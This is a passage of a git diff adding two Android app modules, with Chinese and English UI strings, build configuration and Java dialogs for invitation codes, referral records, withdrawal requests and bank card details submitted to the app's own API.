b/base_Fachai8hk/src/main/res/mipmap-xhdpi/ic_notify_xiala.png differ diff --git a/base_Fachai8hk/src/main/res/mipmap-xhdpi/ic_notifylogo.png b/base_Fachai8hk/src/main/res/mipmap-xhdpi/ic_notifylogo.png new file mode 100644 index 0000000..b975e45 Binary files /dev/null and b/base_Fachai8hk/src/main/res/mipmap-xhdpi/ic_notifylogo.png differ diff --git a/base_Fachai8hk/src/main/res/mipmap-xhdpi/ic_shousuo.png b/base_Fachai8hk/src/main/res/mipmap-xhdpi/ic_shousuo.png new file mode 100644 index 0000000..16b38be Binary files /dev/null and b/base_Fachai8hk/src/main/res/mipmap-xhdpi/ic_shousuo.png differ diff --git a/base_Fachai8hk/src/main/res/mipmap-xhdpi/ic_tel.png b/base_Fachai8hk/src/main/res/mipmap-xhdpi/ic_tel.png new file mode 100644 index 0000000..df82270 Binary files /dev/null and b/base_Fachai8hk/src/main/res/mipmap-xhdpi/ic_tel.png differ diff --git a/base_Fachai8hk/src/main/res/mipmap-xhdpi/ic_whatsapp.png b/base_Fachai8hk/src/main/res/mipmap-xhdpi/ic_whatsapp.png new file mode 100644 index 0000000..7ca41ed Binary files /dev/null and b/base_Fachai8hk/src/main/res/mipmap-xhdpi/ic_whatsapp.png differ diff --git a/base_Fachai8hk/src/main/res/mipmap-xhdpi/ic_zhangkai.png b/base_Fachai8hk/src/main/res/mipmap-xhdpi/ic_zhangkai.png new file mode 100644 index 0000000..bdc84b3 Binary files /dev/null and b/base_Fachai8hk/src/main/res/mipmap-xhdpi/ic_zhangkai.png differ diff --git a/base_Fachai8hk/src/main/res/mipmap-xxhdpi/app_logo.png b/base_Fachai8hk/src/main/res/mipmap-xxhdpi/app_logo.png new file mode 100644 index 0000000..1718e20 Binary files /dev/null and b/base_Fachai8hk/src/main/res/mipmap-xxhdpi/app_logo.png differ diff --git a/base_Fachai8hk/src/main/res/mipmap-xxhdpi/look_img.png b/base_Fachai8hk/src/main/res/mipmap-xxhdpi/look_img.png new file mode 100644 index 0000000..bb76ba1 Binary files /dev/null and b/base_Fachai8hk/src/main/res/mipmap-xxhdpi/look_img.png differ diff --git a/base_Fachai8hk/src/main/res/mipmap-xxhdpi/share_img.png b/base_Fachai8hk/src/main/res/mipmap-xxhdpi/share_img.png new file mode 100644 index 0000000..203b4b7 Binary files /dev/null and b/base_Fachai8hk/src/main/res/mipmap-xxhdpi/share_img.png differ diff --git a/base_Fachai8hk/src/main/res/values-en/strings.xml b/base_Fachai8hk/src/main/res/values-en/strings.xml new file mode 100644 index 0000000..95006cd --- /dev/null +++ b/base_Fachai8hk/src/main/res/values-en/strings.xml @@ -0,0 +1,53 @@ + + Please Set Your Password + Cancel + Sure + New Version Update + Next Update + Update Immediately + Click to close notification + Click to re-download + Download failed + Click to install + Download completed + Downloading... + Version update + Downloading game + Getting download data... + Version update + Downloading game + Need to turn on mobile phone notification permission + Exit + Setting + Tip + Please enter the invitation code + My invitation code: + Superior invitation code: + Total number of invites: + App download link: + Share + Check Invitation Records + Invitation Records + Total number of invitees: %d + No Data + Withdrawal Record + Withdrawal Application + Edit Bank Card Information + 60 + Name: + Please enter the bank card name + Bank card account: + Please enter the bank card account + Country: + Please select a country + Bank Name: + Please select a bank name + Note: Please enter the country code before selecting the bank name! + Balance: %s + Total Earnings: %s + Amount: %s + Please enter the withdrawal amount + Withdrawal application has been submitted + No additional data available for now + NOTIFICATIONS + \ No newline at end of file diff --git a/base_Fachai8hk/src/main/res/values-night/themes.xml b/base_Fachai8hk/src/main/res/values-night/themes.xml new file mode 100644 index 0000000..4bf7105 --- /dev/null +++ b/base_Fachai8hk/src/main/res/values-night/themes.xml @@ -0,0 +1,69 @@ + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/base_Fachai8hk/src/main/res/values/colors.xml b/base_Fachai8hk/src/main/res/values/colors.xml new file mode 100644 index 0000000..bd299ee --- /dev/null +++ b/base_Fachai8hk/src/main/res/values/colors.xml @@ -0,0 +1,22 @@ + + + #FFFFFF + #FFFFFF + #FFFFFF + #FF03DAC5 + #FF018786 + #FF000000 + #FFFFFFFF + #EF4723 + #FFFFFFFF + + #2C2C2E + #FFA722 + #434343 + #BCBCBC + + #ACDFEE + #BDDDB7 + #C3B5D0 + + \ No newline at end of file diff --git a/base_Fachai8hk/src/main/res/values/strings.xml b/base_Fachai8hk/src/main/res/values/strings.xml new file mode 100644 index 0000000..d609113 --- /dev/null +++ b/base_Fachai8hk/src/main/res/values/strings.xml @@ -0,0 +1,75 @@ + + 请输入6位密码 + 取消 + 确定 + 版本更新 + 下次更新 + 立即更新 + 点击关闭通知 + 点击重新下载 + 下载失败 + 点击安装 + 下载完成 + 正在下载… + 版本更新 + 下载游戏中 + 版本更新 + 下载游戏中 + 正在获取下载数据… + 需要打开手机通知权限 + 退出 + 设置 + 提示 + 请输入邀请码 + 我的邀请码: + 上级邀请码: + 总邀请人数: + 邀请您下载: + 分享 + 查看邀请记录 + 邀请记录 + 总邀请人数: %d + 暂无数据 + 提现记录 + 提现申请 + 编辑银行卡信息 + 86 + 持卡人姓名: + 请输入持卡人姓名 + 国家地区: + 请选择国家地区 + 开户行名称: + 请选择开户行名称 + 银行户口: + 请输入银行卡户口 + (注:请先输入国家区号再选择开户行名称!) + 余额: %s + 总收益: %s + 金额: %s + 请输入提现金额 + 提现申请已提交 + 暂无更多数据 + 通知 + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/base_Fachai8hk/src/main/res/values/themes.xml b/base_Fachai8hk/src/main/res/values/themes.xml new file mode 100644 index 0000000..e47899f --- /dev/null +++ b/base_Fachai8hk/src/main/res/values/themes.xml @@ -0,0 +1,88 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/base_Fachai8hk/src/main/res/xml/app_updater_paths.xml b/base_Fachai8hk/src/main/res/xml/app_updater_paths.xml new file mode 100644 index 0000000..1254450 --- /dev/null +++ b/base_Fachai8hk/src/main/res/xml/app_updater_paths.xml @@ -0,0 +1,10 @@ + + + + + + + + + + \ No newline at end of file diff --git a/base_Fachai8hk/src/main/res/xml/network_security_config.xml b/base_Fachai8hk/src/main/res/xml/network_security_config.xml new file mode 100644 index 0000000..dca93c0 --- /dev/null +++ b/base_Fachai8hk/src/main/res/xml/network_security_config.xml @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/base_Fachai8hk/src/main/res/xml/provider_paths.xml b/base_Fachai8hk/src/main/res/xml/provider_paths.xml new file mode 100644 index 0000000..c9a897a --- /dev/null +++ b/base_Fachai8hk/src/main/res/xml/provider_paths.xml @@ -0,0 +1,13 @@ + + + + + + + + + + + + \ No newline at end of file diff --git a/base_Fachai8hk/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java b/base_Fachai8hk/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java new file mode 100644 index 0000000..3259554 --- /dev/null +++ b/base_Fachai8hk/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java @@ -0,0 +1,35 @@ +package Tptogiar.calculcator; + +import org.junit.Test; + +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +import static org.junit.Assert.*; + +/** + * Example local unit test, which will execute on the development machine (host). + * + * @see Testing documentation + */ +public class ExampleUnitTest { + @Test + public void addition_isCorrect() { + assertEquals(4, 2 + 2); + } + + @Test + public void TestPattern(){ +// + Pattern compile = Pattern.compile( "^(\\-|\\+)?\\d+(\\.\\d+)?$"); + String a="+45.5"; + boolean matches = compile.matcher(a).matches(); + System.out.println(matches); + String result = compile.matcher(a).replaceAll(""); + System.out.println(result); + + + } + + +} \ No newline at end of file diff --git a/base_bk88/.gitignore b/base_bk88/.gitignore new file mode 100644 index 0000000..42afabf --- /dev/null +++ b/base_bk88/.gitignore @@ -0,0 +1 @@ +/build \ No newline at end of file diff --git a/base_bk88/build.gradle b/base_bk88/build.gradle new file mode 100644 index 0000000..0230086 --- /dev/null +++ b/base_bk88/build.gradle @@ -0,0 +1,53 @@ +plugins { + id 'com.android.library' +} + +android { + compileSdkVersion 31 + defaultConfig { + minSdkVersion 24 + targetSdkVersion 31 + testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner" + } + + compileOptions { + sourceCompatibility JavaVersion.VERSION_1_8 + targetCompatibility JavaVersion.VERSION_1_8 + } +} + +dependencies { + + api 'androidx.appcompat:appcompat:1.1.0' + api 'com.google.android.material:material:1.1.0' + api 'androidx.constraintlayout:constraintlayout:1.1.3' + testApi 'junit:junit:4.+' + androidTestApi 'androidx.test.ext:junit:1.1.1' + androidTestApi 'androidx.test.espresso:espresso-core:3.2.0' + api files('libs\\tbs_sdk_thirdapp_v4.3.0.386_44286_20230210.jar') + + // okhttp相关库 + api 'com.squareup.okhttp3:okhttp:4.9.3' + + // JSON解析库 + api 'com.google.code.gson:gson:2.9.0' + api 'com.alibaba:fastjson:1.1.71.android' + api 'com.squareup.retrofit2:retrofit:2.5.0' + api 'com.squareup.retrofit2:converter-scalars:2.3.0' + api 'com.squareup.retrofit2:converter-gson:2.4.0' + api 'com.squareup.retrofit2:adapter-rxjava2:2.4.0' + api 'io.reactivex.rxjava2:rxjava:2.1.16' + api 'io.reactivex.rxjava2:rxandroid:2.0.2' + api 'com.squareup.okhttp3:logging-interceptor:3.10.0' + api 'com.github.Justson.AgentWeb:agentweb-core:v5.0.6-androidx' // (必选) + api 'com.github.Justson.AgentWeb:agentweb-filechooser:v5.0.6-androidx' // (可选) + api 'com.github.Justson:Downloader:v5.0.4-androidx' + //implementation 'com.tencent.tbs:tbssdk:44286' + api("com.github.bumptech.glide:glide:4.13.1") + api 'com.github.jenly1314.AppUpdater:app-updater:1.1.3' + + // sdk 33 + api platform('com.google.firebase:firebase-bom:32.7.0') + // Firebase Cloud Messaging + api("com.google.firebase:firebase-messaging") +} \ No newline at end of file diff --git a/base_bk88/libs/tbs_sdk_thirdapp_v4.3.0.386_44286_20230210.jar b/base_bk88/libs/tbs_sdk_thirdapp_v4.3.0.386_44286_20230210.jar new file mode 100644 index 0000000..465ea1b Binary files /dev/null and b/base_bk88/libs/tbs_sdk_thirdapp_v4.3.0.386_44286_20230210.jar differ diff --git a/base_bk88/proguard-rules.pro b/base_bk88/proguard-rules.pro new file mode 100644 index 0000000..107b7ee --- /dev/null +++ b/base_bk88/proguard-rules.pro @@ -0,0 +1,32 @@ +# Add project specific ProGuard rules here. +# You can control the set of applied configuration files using the +# proguardFiles setting in build.gradle. +# +# For more details, see +# http://developer.android.com/guide/developing/tools/proguard.html + +# If your project uses WebView with JS, uncomment the following +# and specify the fully qualified class name to the JavaScript interface +# class: +#-keepclassmembers class fqcn.of.javascript.interface.for.webview { +# public *; +#} + +# Uncomment this to preserve the line number information for +# debugging stack traces. +#-keepattributes SourceFile,LineNumberTable + +# If you keep the line number information, uncomment this to +# hide the original source file name. +#-renamesourcefileattribute SourceFile + +-dontwarn dalvik.** +-dontwarn com.tencent.smtt.** + +-keep class com.tencent.smtt.** { + *; +} + +-keep class com.tencent.tbs.** { + *; +} \ No newline at end of file diff --git a/base_bk88/release/output-metadata.json b/base_bk88/release/output-metadata.json new file mode 100644 index 0000000..e48e90a --- /dev/null +++ b/base_bk88/release/output-metadata.json @@ -0,0 +1,18 @@ +{ + "version": 2, + "artifactType": { + "type": "APK", + "kind": "Directory" + }, + "applicationId": "com.web.testapp", + "variantName": "processReleaseResources", + "elements": [ + { + "type": "SINGLE", + "filters": [], + "versionCode": 107, + "versionName": "v1.0.7", + "outputFile": "app-release.apk" + } + ] +} \ No newline at end of file diff --git a/base_bk88/release/testweb.apk b/base_bk88/release/testweb.apk new file mode 100644 index 0000000..e33b812 Binary files /dev/null and b/base_bk88/release/testweb.apk differ diff --git a/base_bk88/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java b/base_bk88/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java new file mode 100644 index 0000000..44b9f39 --- /dev/null +++ b/base_bk88/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java @@ -0,0 +1,26 @@ +package Tptogiar.calculcator; + +import android.content.Context; + +import androidx.test.platform.app.InstrumentationRegistry; +import androidx.test.ext.junit.runners.AndroidJUnit4; + +import org.junit.Test; +import org.junit.runner.RunWith; + +import static org.junit.Assert.*; + +/** + * Instrumented test, which will execute on an Android device. + * + * @see Testing documentation + */ +@RunWith(AndroidJUnit4.class) +public class ExampleInstrumentedTest { + @Test + public void useAppContext() { + // Context of the app under test. + Context appContext = InstrumentationRegistry.getInstrumentation().getTargetContext(); + assertEquals("Tptogiar.calculcator", appContext.getPackageName()); + } +} \ No newline at end of file diff --git a/base_bk88/src/main/AndroidManifest.xml b/base_bk88/src/main/AndroidManifest.xml new file mode 100644 index 0000000..df1c588 --- /dev/null +++ b/base_bk88/src/main/AndroidManifest.xml @@ -0,0 +1,47 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/base_bk88/src/main/java/com/web/base/ActionBankInfoDialog.java b/base_bk88/src/main/java/com/web/base/ActionBankInfoDialog.java new file mode 100644 index 0000000..de6fa06 --- /dev/null +++ b/base_bk88/src/main/java/com/web/base/ActionBankInfoDialog.java @@ -0,0 +1,205 @@ +package com.web.base; + +import android.app.Dialog; +import android.content.Context; +import android.os.Bundle; +import android.text.TextUtils; +import android.view.Gravity; +import android.view.View; +import android.view.Window; +import android.view.WindowManager; +import android.widget.EditText; +import android.widget.TextView; +import android.widget.Toast; + +import androidx.recyclerview.widget.LinearLayoutManager; +import androidx.recyclerview.widget.RecyclerView; + +import java.util.ArrayList; +import java.util.HashMap; +import java.util.List; +import java.util.Map; + +import io.reactivex.android.schedulers.AndroidSchedulers; +import io.reactivex.schedulers.Schedulers; + + +/** + * 填写银行卡信息 + */ +public class ActionBankInfoDialog extends Dialog { + private final Context context; + private TextView tvBankNameCountry; + private TextView tvbankName; + private EditText bankInfoName; + private EditText bankInfoCode; + private TextView cancelTv; + private TextView sumbitTv; + private String myInviteCode; + private BankInfo itemSelector; + private RecyclerView recyclerView; + private RecyclerView recyclerViewCountry; + private List listdata = new ArrayList<>(); + private List listcountry = new ArrayList<>(); + private MyBankListAdapter adapter; + private MyListAdapter listCountryAdapter; + + public ActionBankInfoDialog(Context context, String myInviteCode) { + super(context, R.style.MaterialDesignDialog); + this.context = context; + this.myInviteCode = myInviteCode; + } + + + @Override + protected void onCreate(Bundle savedInstanceState) { + super.onCreate(savedInstanceState); + setContentView(R.layout.dialog_action_bankinfo); + findViewById(R.id.ic_dialog_close).setOnClickListener(view -> dismiss()); + tvBankNameCountry = findViewById(R.id.inputcountry_tv); + tvbankName = findViewById(R.id.inputbankname_tv); + bankInfoName = findViewById(R.id.inputname_tv); + bankInfoCode = findViewById(R.id.inputcode_tv); + getBankInfoList(); + sumbitTv = findViewById(R.id.sumbit_tv); + recyclerViewCountry = findViewById(R.id.recycler_bankcountry); + recyclerViewCountry.setLayoutManager(new LinearLayoutManager(context)); + listCountryAdapter = new MyListAdapter(listcountry); + recyclerViewCountry.setAdapter(listCountryAdapter); + listCountryAdapter.setOnItemClick(new MyListAdapter.onItemClickPostionListener() { + @Override + public void item(int position) { + tvBankNameCountry.setText(listcountry.get(position)); + recyclerViewCountry.setVisibility(View.GONE); + } + }); + recyclerView = findViewById(R.id.recycler_bankname); + recyclerView.setLayoutManager(new LinearLayoutManager(context)); + adapter = new MyBankListAdapter(listdata); + recyclerView.setAdapter(adapter); + adapter.setOnItemClick(position -> { + itemSelector = listdata.get(position); + tvbankName.setText(itemSelector.getBankName()); + recyclerView.setVisibility(View.GONE); + }); + + tvbankName.setText(MainActivity.getString(context, "bankname", "")); + tvBankNameCountry.setText(MainActivity.getString(context, "bankcode", context.getString(R.string.app_bankinfo_countrycode))); + bankInfoName.setText(MainActivity.getString(context, "name", "")); + + bankInfoCode.setText(MainActivity.getString(context, "bankno", "")); + tvBankNameCountry.setOnClickListener(view -> { + recyclerView.setVisibility(View.GONE); + if (recyclerViewCountry.getVisibility() == View.VISIBLE) { + recyclerViewCountry.setVisibility(View.GONE); + return; + } + recyclerViewCountry.setVisibility(View.VISIBLE); + }); + tvbankName.setOnClickListener(view -> { + if (TextUtils.isEmpty(tvBankNameCountry.getText().toString())) { + Toast.makeText(context, context.getString(R.string.app_bankinfo_bankcountry_hint), Toast.LENGTH_SHORT).show(); + return; + } + recyclerViewCountry.setVisibility(View.GONE); + if (recyclerView.getVisibility() == View.VISIBLE) { + recyclerView.setVisibility(View.GONE); + return; + } + recyclerView.setVisibility(View.VISIBLE); + }); + + sumbitTv.setOnClickListener(view -> { + if (TextUtils.isEmpty(tvBankNameCountry.getText().toString())) { + Toast.makeText(context, context.getString(R.string.app_bankinfo_bankname_hint), Toast.LENGTH_SHORT).show(); + return; + } + if (TextUtils.isEmpty(bankInfoName.getText().toString())) { + Toast.makeText(context, context.getString(R.string.app_bankinfo_name_hint), Toast.LENGTH_SHORT).show(); + return; + } + if (TextUtils.isEmpty(bankInfoCode.getText().toString())) { + Toast.makeText(context, context.getString(R.string.app_bankinfo_code_hint), Toast.LENGTH_SHORT).show(); + return; + } + + toSubmit(tvbankName.getText().toString(), bankInfoName.getText().toString(), bankInfoCode.getText().toString()); + + }); + setCanceledOnTouchOutside(false); + Window window = getWindow(); + WindowManager.LayoutParams wlp = window.getAttributes(); + wlp.gravity = Gravity.CENTER; + wlp.width = WindowManager.LayoutParams.WRAP_CONTENT; + wlp.height = WindowManager.LayoutParams.WRAP_CONTENT; + + window.setAttributes(wlp); + } + + public void getBankInfoList() { + Api.getInstance().getBankInfoList() + .subscribeOn(Schedulers.io()) + .observeOn(AndroidSchedulers.mainThread()) + .subscribe(new BaseObserver>>>() { + @Override + public void onSuccess(Result>> o) { + + listdata.clear(); + listcountry.clear(); + if (o.data != null) { + for (Map.Entry> entry : o.data.entrySet()) { + listdata.addAll(entry.getValue()); + listcountry.add(entry.getKey()); + } + adapter.setListdata(listdata); + listCountryAdapter.setListdata(listcountry); + } + + } + + @Override + public void onError(int code, String msg) { + + } + + @Override + public void onError2(Result>> o) { + + } + }); + } + + public void toSubmit(String bankname, String bankinfoname, String bankinfocode) { + HashMap map = new HashMap<>(); + map.put("inviteCode", myInviteCode); + map.put("name", bankinfoname); + map.put("bankNo", bankinfocode); + map.put("bankId", itemSelector.getId()); + map.put("bankName", bankname); + Api.getInstance().sendBankInfo(map) + .subscribeOn(Schedulers.io()) + .observeOn(AndroidSchedulers.mainThread()) + .subscribe(new BaseObserver() { + @Override + public void onSuccess(Result o) { + dismiss(); + MainActivity.saveString(context, "bankname", bankname); + MainActivity.saveString(context, "name", bankinfoname); + MainActivity.saveString(context, "bankno", bankinfocode); + MainActivity.saveString(context, "bankcode", itemSelector.getBankCode()); + } + + @Override + public void onError(int code, String msg) { + Toast.makeText(context, msg, Toast.LENGTH_SHORT).show(); + + } + + @Override + public void onError2(Result o) { + Toast.makeText(context, o.error, Toast.LENGTH_SHORT).show(); + } + }); + } + +} diff --git a/base_bk88/src/main/java/com/web/base/ActionConfirmDialog.java b/base_bk88/src/main/java/com/web/base/ActionConfirmDialog.java new file mode 100644 index 0000000..2f516b7 --- /dev/null +++ b/base_bk88/src/main/java/com/web/base/ActionConfirmDialog.java @@ -0,0 +1,124 @@ +package com.web.base; + +import android.app.Dialog; +import android.content.Context; +import android.os.Bundle; +import android.text.TextUtils; +import android.view.Gravity; +import android.view.View; +import android.view.ViewTreeObserver; +import android.view.Window; +import android.view.WindowManager; +import android.widget.TextView; + + +/** + * 通用弹窗 + */ +public class ActionConfirmDialog extends Dialog { + private final Context context; + private View lineV; + + private TextView contentTv; + private TextView cancelTv; + private TextView sumbitTv; + String title; + String content; + String cancel = null; + String sure = null; + boolean showCancel = true; + OnToActionListener onToActionListener; + + public interface OnToActionListener { + void toSumbit(); + void toCancel(); + + } + + public void setOnToActionListener(OnToActionListener onNextCallListener) { + this.onToActionListener = onNextCallListener; + } + + + public ActionConfirmDialog(Context context, String content,boolean showCancel) { + super(context, R.style.MaterialDesignDialog); + this.context = context; + this.content = content; + this.showCancel = showCancel; + } + public ActionConfirmDialog(Context context, String content, String cancel, String sure) { + super(context, R.style.MaterialDesignDialog); + this.context = context; + this.content = content; + this.cancel = cancel; + this.sure = sure; + } + + public ActionConfirmDialog(Context context, String content, String cancel, String sure,boolean showCancel) { + super(context, R.style.MaterialDesignDialog); + this.context = context; + this.content = content; + this.cancel = cancel; + this.sure = sure; + this.showCancel = showCancel; + } + + @Override + protected void onCreate(Bundle savedInstanceState) { + super.onCreate(savedInstanceState); + setContentView(R.layout.dialog_action_confirm); + + contentTv = (TextView) findViewById(R.id.content_tv); + cancelTv = (TextView) findViewById(R.id.cancel_tv); + sumbitTv = (TextView) findViewById(R.id.sumbit_tv); + + lineV = (View) findViewById(R.id.line_v); + + contentTv.setText(content); + contentTv.getViewTreeObserver().addOnPreDrawListener(new ViewTreeObserver.OnPreDrawListener() { + @Override + public boolean onPreDraw() { + //这个监听的回调是异步的,在监听完以后一定要把绘制监听移除,不然这个会一直回调,导致界面错乱 + contentTv.getViewTreeObserver().removeOnPreDrawListener(this); + int line = contentTv.getLineCount(); + if(line>1){ + contentTv.setGravity(Gravity.LEFT|Gravity.CENTER_VERTICAL); + } + + return true; + } + }); + if(!TextUtils.isEmpty(cancel)){ + cancelTv.setText(cancel); + } + if(!TextUtils.isEmpty(sure)){ + sumbitTv.setText(sure); + } + if(!showCancel){ + cancelTv.setVisibility(View.GONE); + lineV.setVisibility(View.GONE); + } + + sumbitTv.setOnClickListener(v -> { + dismiss(); + if(onToActionListener!=null){ + onToActionListener.toSumbit(); + } + }); + cancelTv.setOnClickListener(v -> { + dismiss(); + if(onToActionListener!=null){ + onToActionListener.toCancel(); + } + }); + + Window window = getWindow(); + WindowManager.LayoutParams wlp = window.getAttributes(); + wlp.gravity = Gravity.CENTER; + wlp.width = WindowManager.LayoutParams.WRAP_CONTENT; + wlp.height = WindowManager.LayoutParams.WRAP_CONTENT; + + window.setAttributes(wlp); + } + +} diff --git a/base_bk88/src/main/java/com/web/base/ActionInviteDialog.java b/base_bk88/src/main/java/com/web/base/ActionInviteDialog.java new file mode 100644 index 0000000..3ec9f8f --- /dev/null +++ b/base_bk88/src/main/java/com/web/base/ActionInviteDialog.java @@ -0,0 +1,104 @@ +package com.web.base; + +import android.app.Dialog; +import android.content.Context; +import android.os.Bundle; +import android.text.TextUtils; +import android.view.Gravity; +import android.view.View; +import android.view.Window; +import android.view.WindowManager; +import android.widget.EditText; +import android.widget.TextView; +import android.widget.Toast; + + +/** + * 填写邀请码 + */ +public class ActionInviteDialog extends Dialog { + private final Context context; + private View lineV; + + + private EditText inputTxt; + private TextView cancelTv; + private TextView sumbitTv; + String content; + String cancel = null; + String sure = null; + boolean showCancel = true; + OnToActionListener onToActionListener; + + public interface OnToActionListener { + void toSumbit(String content); + + void toCancel(); + + } + + public void setOnToActionListener(OnToActionListener onNextCallListener) { + this.onToActionListener = onNextCallListener; + } + + + public ActionInviteDialog(Context context, boolean showCancel) { + super(context, R.style.MaterialDesignDialog); + this.context = context; + this.showCancel = showCancel; + } + + public ActionInviteDialog(Context context, String cancel, String sure, boolean showCancel) { + super(context, R.style.MaterialDesignDialog); + this.context = context; + this.cancel = cancel; + this.sure = sure; + this.showCancel = showCancel; + } + + @Override + protected void onCreate(Bundle savedInstanceState) { + super.onCreate(savedInstanceState); + setContentView(R.layout.dialog_action_invite); + cancelTv = (TextView) findViewById(R.id.cancel_tv); + sumbitTv = (TextView) findViewById(R.id.sumbit_tv); + lineV = (View) findViewById(R.id.line_v); + inputTxt = findViewById(R.id.input_tv); + if (!TextUtils.isEmpty(cancel)) { + cancelTv.setText(cancel); + } + if (!TextUtils.isEmpty(sure)) { + sumbitTv.setText(sure); + } + if (!showCancel) { + cancelTv.setVisibility(View.GONE); + lineV.setVisibility(View.GONE); + } + + sumbitTv.setOnClickListener(v -> { + if (TextUtils.isEmpty(inputTxt.getText().toString())) { + Toast.makeText(context, context.getString(R.string.app_hint), Toast.LENGTH_SHORT).show(); + return; + } + if (onToActionListener != null) { + onToActionListener.toSumbit(inputTxt.getText().toString()); + } + }); + cancelTv.setOnClickListener(v -> { + dismiss(); + if (onToActionListener != null) { + onToActionListener.toCancel(); + } + }); + + setCanceledOnTouchOutside(false); + Window window = getWindow(); + WindowManager.LayoutParams wlp = window.getAttributes(); + wlp.gravity = Gravity.CENTER; + wlp.width = WindowManager.LayoutParams.WRAP_CONTENT; + wlp.height = WindowManager.LayoutParams.WRAP_CONTENT; + + window.setAttributes(wlp); + } + +} diff --git a/base_bk88/src/main/java/com/web/base/ActionInviteRecordsDialog.java b/base_bk88/src/main/java/com/web/base/ActionInviteRecordsDialog.java new file mode 100644 index 0000000..02db642 --- /dev/null +++ b/base_bk88/src/main/java/com/web/base/ActionInviteRecordsDialog.java @@ -0,0 +1,120 @@ +package com.web.base; + +import android.app.Dialog; +import android.content.Context; +import android.os.Bundle; +import android.view.Gravity; +import android.view.View; +import android.view.Window; +import android.view.WindowManager; +import android.widget.TextView; + +import androidx.recyclerview.widget.LinearLayoutManager; +import androidx.recyclerview.widget.RecyclerView; + +import java.util.ArrayList; +import java.util.List; + +import io.reactivex.android.schedulers.AndroidSchedulers; +import io.reactivex.schedulers.Schedulers; + + +/** + * 展示邀请记录 + */ +public class ActionInviteRecordsDialog extends Dialog { + private Context context; + private String myInviteCode; + private List listdata = new ArrayList<>(); + + private RecyclerView recyclerView; + private MyListAdapter listAdapter; + private TextView tvTitle; + private TextView tvBalance; + private TextView tvTotalEarning; + private int page = 1; + + + public ActionInviteRecordsDialog(Context context, String myInviteCode) { + super(context, R.style.MaterialDesignDialog); + this.context = context; + this.myInviteCode = myInviteCode; + } + + @Override + protected void onCreate(Bundle savedInstanceState) { + super.onCreate(savedInstanceState); + setContentView(R.layout.dialog_action_invite_records); + recyclerView = findViewById(R.id.recycler_list); + tvTitle = findViewById(R.id.content_tv); + tvBalance = findViewById(R.id.balance_tv); + tvTotalEarning = findViewById(R.id.totalearnings_tv); + tvTitle.setText(context.getString(R.string.app_invitetitle)); + findViewById(R.id.layout_balance).setVisibility(View.GONE); + getRecords(); + findViewById(R.id.ic_dialog_close).setOnClickListener(view -> { + dismiss(); + }); + recyclerView.setLayoutManager(new LinearLayoutManager(context)); + listAdapter = new MyListAdapter(listdata); + recyclerView.setAdapter(listAdapter); + setCanceledOnTouchOutside(false); + setCancelable(false); + Window window = getWindow(); + WindowManager.LayoutParams wlp = window.getAttributes(); + wlp.gravity = Gravity.CENTER; + wlp.width = WindowManager.LayoutParams.WRAP_CONTENT; + wlp.height = WindowManager.LayoutParams.WRAP_CONTENT; + + window.setAttributes(wlp); + } + + public void getRecords() { + Api.getInstance().getRecords(myInviteCode, page, 20) + .subscribeOn(Schedulers.io()) + .observeOn(AndroidSchedulers.mainThread()) + .subscribe(new BaseObserver>() { + @Override + public void onSuccess(Result o) { + if(o.data!=null){ + findViewById(R.id.layout_balance).setVisibility(View.VISIBLE); + InviteListInfo inviteInfo = o.data; + tvBalance.setText(String.format(context.getString(R.string.app_balance), inviteInfo.getInviteCode().getBalance())); + tvTotalEarning.setText(String.format(context.getString(R.string.app_totalearning), inviteInfo.getInviteCode().getIncome())); + if (page == 1) { + listdata = inviteInfo.getList(); + } else { + listdata.addAll(inviteInfo.getList()); + } + if (listdata.size() > 0) { + listAdapter.setListdata(listdata); + recyclerView.setVisibility(View.VISIBLE); + } else { + recyclerView.setVisibility(View.GONE); + } + tvTitle.setText(context.getString(R.string.app_invitetitle) + " (" + inviteInfo.getTotal() + ")"); + if (listdata.size() < inviteInfo.getTotal()) { + page++; + getRecords(); + } + } + + } + + @Override + public void onError(int code, String msg) { + LogUtils.d("dddd" + msg); + if (page == 1) { + recyclerView.setVisibility(View.GONE); + } + } + + @Override + public void onError2(Result o) { + if (page == 1) { + recyclerView.setVisibility(View.GONE); + } + } + }); + } +} diff --git a/base_bk88/src/main/java/com/web/base/ActionSelectDialog.java b/base_bk88/src/main/java/com/web/base/ActionSelectDialog.java new file mode 100644 index 0000000..aad19a6 --- /dev/null +++ b/base_bk88/src/main/java/com/web/base/ActionSelectDialog.java @@ -0,0 +1,95 @@ +package com.web.base; + +import android.app.Dialog; +import android.content.Context; +import android.os.Bundle; +import android.view.Gravity; +import android.view.View; +import android.view.Window; +import android.view.WindowManager; +import android.widget.TextView; + + +public class ActionSelectDialog extends Dialog { + + private TextView shareTv; + private TextView checkTv; + OnToActionListener onToLoginListener; + private Context mContext; + + public interface OnToActionListener { + void toShare(); + + void toCheck(); + + void toWithDrawRecords(); + + void toWithDrawApply(); + + void toBankInfo(); + } + + public void setOnToActionListener(OnToActionListener onNextCallListener) { + this.onToLoginListener = onNextCallListener; + } + + + public ActionSelectDialog(Context context) { + super(context, R.style.MaterialDesignDialog); + this.mContext = context; + + } + + + @Override + protected void onCreate(Bundle savedInstanceState) { + super.onCreate(savedInstanceState); + + setContentView(R.layout.dialog_select_action); + + shareTv = (TextView) findViewById(R.id.share); + checkTv = (TextView) findViewById(R.id.check); + + shareTv.setOnClickListener(view -> { + dismiss(); + if (onToLoginListener != null) { + onToLoginListener.toShare(); + } + }); + checkTv.setOnClickListener(view -> { + dismiss(); + if (onToLoginListener != null) { + onToLoginListener.toCheck(); + } + }); + //提现记录 + findViewById(R.id.withdraw).setOnClickListener(view -> { + dismiss(); + if (onToLoginListener != null) { + onToLoginListener.toWithDrawRecords(); + } + }); + //提现申请 + findViewById(R.id.withdraw_apply).setOnClickListener(view -> { + dismiss(); + if (onToLoginListener != null) { + onToLoginListener.toWithDrawApply(); + } + }); + //银行卡信息 + 